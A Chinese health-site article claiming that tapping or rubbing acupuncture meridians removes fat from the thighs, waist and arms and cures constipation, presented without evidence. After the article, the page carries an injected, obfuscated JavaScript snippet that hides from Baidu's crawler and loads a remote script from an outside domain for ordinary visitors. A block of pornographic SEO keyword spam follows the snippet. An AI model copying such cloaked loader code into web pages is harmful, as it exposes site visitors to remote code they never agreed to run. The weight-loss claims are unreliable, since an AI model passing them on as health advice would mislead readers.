當前位置:首頁 > 減肥 > 中醫減肥 > 正文

敲經絡減肥的方法有哪些

2017-06-12 12:56:49  來源:360常識網   熱度:
導語:我們都知道減肥的方法有許多,可以通過運動來減肥,也可以通過控制飲食來減肥。但是你知道嗎?減肥的方法可不止這些呢,通過敲經絡的方法也

我們都知道減肥的方法有許多,可以通過運動來減肥,也可以通過控制飲食來減肥。但是你知道嗎?減肥的方法可不止這些呢,通過敲經絡的方法也可以達到減肥的效果呢。那么敲經絡減肥的方法有哪些呢?下面我們就一起來看一下吧。

1. 清除大腿內側贅肉,刮肝經

肝膽失調造成的肥胖,通常體現在大腿內側和外側,以及腰部的兩側(即所謂"游泳圈")。

用手掌根推大腿內側的肝經。每天睡覺的時候,用手掌根從大腿根部推到膝蓋附近,把這條肝經的位置推300下。推的時候可以沾一點肥皂或油脂的東西潤滑一下,以免擦傷皮膚。

2. 清除大腿外側贅肉,敲膽經。

要想減去這個部位上的贅肉,只需要拿指節去敲打就可以了。因為這些穴位都在皮膚下面的肌肉層,并不在皮膚表面,所以敲打的時候,力度要能滲透到肌肉里面去。只有這樣敲打,效果才真正地明顯。

3. 清除腰上的贅肉,敲帶脈區

如果腰上有贅肉,就敲腰兩邊的帶脈區,

敲帶脈很簡單,只要平躺著,手握空拳,敲打腰部最細的那個點。每天堅持敲打300次,由輕到重,以舒服為宜,不久這些"游泳圈"自然就下去了。

4. 大腸功能失調引起的肥胖自療法:敲大腸經

如果吸收的東西不能及時地變成血液,就會變成脂肪贅肉堆積在人體里。還有便秘,也會造成體內垃圾排不出去。經常敲打胳膊正面的大腸經,不但可以消減胳膊上的贅肉,還可以改善便秘的問題。

敲經絡減肥的方法有哪些?以上的內容就是對這個問題做出的詳細解答了,你在看了上面的內容以后,知道敲經絡減肥的方法有哪些了嗎?如果大家覺得上面的內容還不夠清楚想要知道更詳細的內容的話,可以撥打我們的免費熱線咨詢我們的專家。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产91精品在线观看| 东京热一精品无码AV| 亚洲福利精品电影在线观看| 91嫩草亚洲精品| 国产在线精品一区二区中文| 依依成人精品视频在线观看| 日韩精品一区二区三区老鸭窝 | 亚洲国产精品第一区二区| 国产剧情AV麻豆香蕉精品| 国内精品免费麻豆网站91麻豆| 亚洲国产另类久久久精品黑人| 欧洲精品码一区二区三区| 亚洲精品中文字幕麻豆| 九九在线精品视频专区| 国产精品成人观看视频| 尤物在线观看精品国产福利片| 久久久久久久精品成人热色戒| 国产成人亚洲精品青草天美| 国产A级毛片久久久精品毛片| 国产成人精品一区二三区熟女 | 久久中文字幕精品| 国产精品午睡沙发系列| 国产成人精品久久亚洲高清不卡 | 亚洲国产精品免费观看| 精品少妇无码AV无码专区| 中文无码久久精品| 国产一区二区三区日韩精品| 国产成人午夜精品免费视频| 亚洲精品动漫在线| 国产乱人伦偷精品视频AAA| 久久亚洲精品无码播放| 日本精品夜色视频一区二区| 日韩精品中文字幕无码专区| 国产精品久久久久免费a∨| 亚洲一区精品视频在线| 99视频精品全部免费观看| 久久久这里有精品999| 国产精品无套内射迪丽热巴| 中文国产成人精品少久久| heyzo加勒比高清国产精品| 精品一区精品二区|